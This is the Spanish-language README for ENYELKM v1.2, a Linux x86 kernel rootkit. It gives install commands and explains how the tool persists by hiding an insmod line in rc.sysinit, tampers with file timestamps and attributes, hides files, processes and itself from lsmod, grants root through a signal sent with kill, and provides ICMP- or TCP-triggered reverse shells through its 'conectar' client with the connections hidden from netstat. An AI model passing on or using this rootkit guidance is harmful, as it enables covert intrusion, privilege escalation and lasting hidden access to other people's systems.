 ---------------------------------------------
   ENYELKM v1.2 | by RaiSe && David Reguera
   Linux Rootkit x86 kernel v2.6.x
   < raise@enye-sec.org >
   < davidregar@yahoo.es >
   < http://www.enye-sec.org >
 ---------------------------------------------


 Testeado en kernels:  + v2.6.3-7mdk  + v2.6.17-5mdv  + v2.6.11-1.1369_FC4
                       + v2.6.14.3  + v2.6.18-1.2798.fc6  + v2.6.21.1

 Para compilar:

   # make

 Para instalar:

   # make install

 Para compilar solo 'conectar':

   # make conectar


 * Lo que hace make install:
 
 - Copia el fichero enyelkm.ko a /etc/.enyelkmOCULTAR.ko, de forma
 que una vez cargado el modulo el fichero permanecera oculto.

 - Aade la cadena insmod /etc/.enyelkmOCULTAR.ko entre las marcas
 #<OCULTAR_8762> y #</OCULTAR_8762> al fichero /etc/rc.d/rc.sysinit,
 de forma que una vez cargado el modulo esas lineas permaneceran
 ocultas.
 
 - Carga el modulo mediante insmod /etc/.enyelkmOCULTAR.ko.

 - Intenta sobreescribir la fecha de archivo modificado de 
 /etc/rc.d/rc.sysinit con la de /etc/rc.d/rc, y ponerle el
 atributo +i a /etc/.enyelkmOCULTAR.ko con touch y chattr
 respectivamente.


 * Ocultar ficheros, directorios y procesos:

 Se ocultan los ficheros, directorios y procesos que contengan
 la subcadena 'OCULTAR' en su nombre. En el caso de los procesos
 tambien se ocultan los que tengan gid = 0x489196ab. La shell
 remota (ver acceso remoto mas abajo) corre con ese gid, por lo
 que la shell y todos los procesos que se lancen desde ella
 permaneceran ocultos.


 * Ocultar partes de un fichero:

 Se oculta en un fichero todo lo que este entre las marcas:
 (marcas incluidas)

 #<OCULTAR_8762>
 texto a ocultar
 #</OCULTAR_8762>


 * Consiguiendo root local:

 Haciendo: # kill -s 58 12345
 se consigue id 0.


 * Ocultacion del modulo a 'lsmod' y '/sys/module':

 El modulo se auto_oculta al cargarlo.


 * Acceso remoto:

 Usar el programa 'conectar', que va incluido en el tgz. Se compila con
 el make del LKM o con 'make conectar'. Hay dos formas de pedir la shell,
 via ICMP o via TCP. Siempre se recibira una reverse shell, estan
 implementadas las dos formas por si los ICMP estan bloqueados por algun
 firewall intermedio. Si se usa el modo ICMP el programa enviara un ICMP
 especial, y abrira un puerto a la escucha en la que recibira la shell.
 Si se usa el modo TCP se conectara al puerto indicado, enviara una firma,
 y abrira un puerto a la escucha en la que recibira la reverse shell. Para
 salir de la shell: control+c.

 Modo ICMP: './conectar -icmp ip_maquina_con_lkm'
 Modo TCP: './conectar -tcp ip_maquina_con_lkm puerto_tcp_abierto_en_ella'


 * Ocultacion de la conexion de la reverse shell al netstat:

 Se auto_ocultan todas las conexiones a la ip que envio el ICMP/TCP con el
 programa conectar.


 * Desinstalacion del modulo:

 El modulo no puede descargarse mediante 'rmmod' ya que permanece
 oculto. Y aunque estuviera visible no se podria ya que el sistema
 dejaria de funcionar. La unica forma es reiniciando el sistema. En caso
 de haber hecho 'make install', una forma de quitar la cadena oculta
 de /etc/rc.d/rc.sysinit es editando ese fichero y guardandolo sin
 modificar nada, de esa forma se guardara sin la cadena ya que el
 editor no la 've'. Luego reiniciar. Una forma sencilla de mirar si 
 el LKM esta cargado es haciendo un 'kill -s 58 12345' y mirando si
 da root.


 [ -- ]


 --> En la version 1.3:

 Intentar adaptarlo para que compile y funcione en kernels 2.4.x
 y x86_64.


 -> Agradecimientos:

 Gracias a Int27h por el consejo para conseguir sysenter_entry :).

 Gracias a kenshin por el metodo para ocultar el lkm a '/sys/module'
 y por las pruebas ;).



EOF
